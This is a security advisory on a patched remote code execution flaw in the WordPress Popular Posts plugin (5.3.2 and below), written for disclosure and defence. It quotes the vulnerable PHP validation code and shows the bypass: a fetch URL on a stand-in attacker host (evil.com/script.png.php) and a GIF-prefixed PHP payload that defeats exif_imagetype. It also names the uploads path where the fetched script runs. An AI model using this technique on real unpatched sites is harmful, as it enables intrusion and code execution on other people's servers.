Improper input validation in the WordPress Popular Posts plugin (300,000+ active installations) affecting version 5.3.2 and below could lead to remote code execution.
WordPress Popular Posts allows users to display the most popular posts on their blog, including thumbnails. When thumbnails settings are set to “Custom field name” and “Resize image from Custom field” (they aren’t by default), a user with contributor role or above can bypass the file type verification, download a remote PHP script to the server and execute it.
Improper Input Validation to RCE
In the “wordpress-popular-posts/src/Image.php”, the is_image_url
function is used to validate the remote filename and to make sure it is an image:
private function is_image_url($url) { $path = parse_url($url, PHP_URL_PATH); $encoded_path = array_map('urlencode', explode('/', $path)); $parse_url = str_replace($path, implode('/', $encoded_path), $url); if ( ! filter_var($parse_url, FILTER_VALIDATE_URL) ) return false; // sanitize URL, just in case $image_url = esc_url($url); // remove querystring preg_match('/[^\?]+\.(jpg|JPG|jpe|JPE|jpeg|JPEG|gif|GIF|png|PNG)/', $image_url, $matches); return ( is_array($matches) && ! empty($matches) ) ? $matches : false; }
It is possible to bypass the regex validation by giving the URL to a PHP script such as http://evil.com/script.png.php
for instance.
In the same script, the fetch_external_image
function will attempt to validate the content of the downloaded file using the exif_imagetype
function or, if not available, using the getimagesize
function:
// File was downloaded successfully if ( ! is_wp_error($tmp) ) { // Determine image type if ( function_exists('exif_imagetype') ) { $image_type = exif_imagetype($tmp); } else { $image_type = getimagesize($tmp); $image_type = ( isset($image_type[2]) ) ? $image_type[2] : NULL; } // Valid image, save it if ( in_array($image_type, [IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG]) ) { // move file to Uploads if ( @rename($tmp, $full_image_path) ) { // borrowed from WP - set correct file permissions $stat = stat(dirname($full_image_path)); $perms = $stat['mode'] & 0000644; @chmod($full_image_path, $perms); return $full_image_path; } } // Invalid file, remove it @unlink($tmp); }
I explained in a previous post that PHP developers should never rely on those functions for security checks because they can easily be bypassed. For instance, a file with the following content would bypass exif_imagetype
:
GIF<?php phpinfo();?>
After entering the URL into the custom field, the plugin will download and save the script into the wp-content/uploads/wordpress-popular-posts
folder and will prepend the POST’s ID to its name, allowing the user to access it and execute its content:
Recommendations
Update immediately if you have version 5.3.2 or below installed.
If you are using our web application firewall for WordPress, NinjaFirewall WP Edition (free) and NinjaFirewall WP+ Edition (premium), you have been informed about this vulnerability more than a week ago.
Timeline
The vulnerability was reported on June 03, 2021 to the author who quickly patched it and released version 5.3.3.
Stay informed about the latest vulnerabilities
- Running WordPress? You can get email notifications about vulnerabilities in the plugins or themes installed on your blog.
- On Twitter: @nintechnet